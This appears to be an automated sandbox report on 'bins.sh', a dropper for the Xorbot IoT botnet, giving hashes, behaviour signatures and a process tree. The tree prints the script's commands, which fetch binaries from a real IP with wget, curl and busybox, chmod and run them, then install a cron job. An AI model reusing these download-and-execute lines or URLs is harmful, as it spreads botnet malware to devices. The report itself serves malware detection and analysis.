Analysis

  • max time kernel
    150s
  • max time network
    100s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    30-11-2024 18:12

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    ec0ffe14fe481a8c4f08e2dd622a8fb3

  • SHA1

    966e9859553fbe5400c8eba0f02018b78f434149

  • SHA256

    6f8f9e04cd9bc383e8a1c96b8b0c648aedc109e7783fb213532c4ce4ff1622e6

  • SHA512

    73a6817a4345934e3d0ccb4e464d1270255fa4cfc0dd70797f97e0145e2a9b02c2bb68443fd3d29f6caaa50d391ede9391e360bce3990576ce084d9c06ef376a

  • SSDEEP

    96:cNpnbyyvRn3n6epNYYWBl+bTX7WzWHW3WsWEWAeTDHeTDHwWzWHW3WsWEWVQyYnR:cNpnbyyvTRbTX6jjNpnbyyXB

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:706
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:712
        • /usr/bin/wget
          wget http://216.126.231.240/bins/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
          2⤵
          • Writes file to tmp directory
          PID:714
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:728
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
          2⤵
          • Writes file to tmp directory
          PID:735
        • /bin/chmod
          chmod 777 4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
          ./4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
          2⤵
          • Executes dropped EXE
          PID:738
        • /bin/rm
          rm 4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
          2⤵
            PID:740
          • /usr/bin/wget
            wget http://216.126.231.240/bins/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
            2⤵
            • Writes file to tmp directory
            PID:741
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:742
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
            2⤵
            • Writes file to tmp directory
            PID:743
          • /bin/chmod
            chmod 777 7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
            2⤵
            • File and Directory Permissions Modification
            PID:744
          • /tmp/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
            ./7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
            2⤵
            • Executes dropped EXE
            PID:745
          • /bin/rm
            rm 7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
            2⤵
              PID:747
            • /usr/bin/wget
              wget http://216.126.231.240/bins/FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
              2⤵
              • Writes file to tmp directory
              PID:748
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:749
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
              2⤵
              • Writes file to tmp directory
              PID:750
            • /bin/chmod
              chmod 777 FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
              2⤵
              • File and Directory Permissions Modification
              PID:753
            • /tmp/FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
              ./FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:754
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:756
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:760
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:763
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:768
                  • /bin/rm
                    rm FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
                    2⤵
                      PID:765
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/JCMMfKTSb7uLzr2apLIdHhz1aUd28CiUYm
                      2⤵
                        PID:769
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/JCMMfKTSb7uLzr2apLIdHhz1aUd28CiUYm
                        2⤵
                          PID:771
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/JCMMfKTSb7uLzr2apLIdHhz1aUd28CiUYm
                          2⤵
                          • Writes file to tmp directory
                          PID:773
                        • /bin/chmod
                          chmod 777 JCMMfKTSb7uLzr2apLIdHhz1aUd28CiUYm
                          2⤵
                          • File and Directory Permissions Modification
                          PID:779
                        • /tmp/JCMMfKTSb7uLzr2apLIdHhz1aUd28CiUYm
                          ./JCMMfKTSb7uLzr2apLIdHhz1aUd28CiUYm
                          2⤵
                          • Executes dropped EXE
                          PID:781
                        • /bin/rm
                          rm JCMMfKTSb7uLzr2apLIdHhz1aUd28CiUYm
                          2⤵
                            PID:783
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/61DFOY4e9MmK7eHuQn5dlnNlrsLhyRwbm9
                            2⤵
                              PID:784
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/61DFOY4e9MmK7eHuQn5dlnNlrsLhyRwbm9
                              2⤵
                                PID:787
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/61DFOY4e9MmK7eHuQn5dlnNlrsLhyRwbm9
                                2⤵
                                • Writes file to tmp directory
                                PID:789
                              • /bin/chmod
                                chmod 777 61DFOY4e9MmK7eHuQn5dlnNlrsLhyRwbm9
                                2⤵
                                • File and Directory Permissions Modification
                                PID:795
                              • /tmp/61DFOY4e9MmK7eHuQn5dlnNlrsLhyRwbm9
                                ./61DFOY4e9MmK7eHuQn5dlnNlrsLhyRwbm9
                                2⤵
                                • Executes dropped EXE
                                PID:796
                              • /bin/rm
                                rm 61DFOY4e9MmK7eHuQn5dlnNlrsLhyRwbm9
                                2⤵
                                  PID:797
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/vT85h1FXNPeMIbMsj9niY1BZU2CWLrQubm
                                  2⤵
                                    PID:799
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/vT85h1FXNPeMIbMsj9niY1BZU2CWLrQubm
                                    2⤵
                                      PID:801
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/vT85h1FXNPeMIbMsj9niY1BZU2CWLrQubm
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:802
                                    • /bin/chmod
                                      chmod 777 vT85h1FXNPeMIbMsj9niY1BZU2CWLrQubm
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:807
                                    • /tmp/vT85h1FXNPeMIbMsj9niY1BZU2CWLrQubm
                                      ./vT85h1FXNPeMIbMsj9niY1BZU2CWLrQubm
                                      2⤵
                                      • Executes dropped EXE
                                      PID:809
                                    • /bin/rm
                                      rm vT85h1FXNPeMIbMsj9niY1BZU2CWLrQubm
                                      2⤵
                                        PID:812
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/jctSNiC4UiMGRc8fNlcY323ezJuBSMw6FZ
                                        2⤵
                                          PID:813
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/jctSNiC4UiMGRc8fNlcY323ezJuBSMw6FZ
                                          2⤵
                                            PID:814

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • /tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI

                                          Filesize

                                          98KB

                                          MD5

                                          5141342d0df8699fa32a6b066a0c592e

                                          SHA1

                                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                                          SHA256

                                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                          SHA512

                                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                        • /tmp/61DFOY4e9MmK7eHuQn5dlnNlrsLhyRwbm9

                                          Filesize

                                          111KB

                                          MD5

                                          ca897a38f23ec23521ce0b1b83f8422d

                                          SHA1

                                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                          SHA256

                                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                          SHA512

                                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                        • /tmp/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb

                                          Filesize

                                          141KB

                                          MD5

                                          3ca8decdb1e52c423c521bfff02ac200

                                          SHA1

                                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                                          SHA256

                                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                          SHA512

                                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                        • /tmp/FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv

                                          Filesize

                                          151KB

                                          MD5

                                          3c90d5820bddcf7c5d1bd21dfa49d958

                                          SHA1

                                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                          SHA256

                                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                          SHA512

                                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                        • /tmp/JCMMfKTSb7uLzr2apLIdHhz1aUd28CiUYm

                                          Filesize

                                          111KB

                                          MD5

                                          701e7a55a4f3650f5feee92a9860e5fc

                                          SHA1

                                          6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                          SHA256

                                          ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                          SHA512

                                          7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                        • /tmp/vT85h1FXNPeMIbMsj9niY1BZU2CWLrQubm

                                          Filesize

                                          112KB

                                          MD5

                                          05d7857dcead18bbd86d2935f591873c

                                          SHA1

                                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                                          SHA256

                                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                          SHA512

                                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                        • /var/spool/cron/crontabs/tmp.9iun9f

                                          Filesize

                                          210B

                                          MD5

                                          b5c032e3bd58b8ec0685a336ef4c70c9

                                          SHA1

                                          37f33427abdc74196ce537ffbc42084aa7b7cd7a

                                          SHA256

                                          41b0a11736be1fa4e03fda47be19e4e5d00560af80d6cab271f46d3b4ddc86fb

                                          SHA512

                                          948ec5bde721c32683adee71d3c42d1586740439a8d36514514f98d0a29830f479d7fce8600bd5c094cf54fdb7ac8901a6a730d5492ee0f6aada7c6d1ea0c6de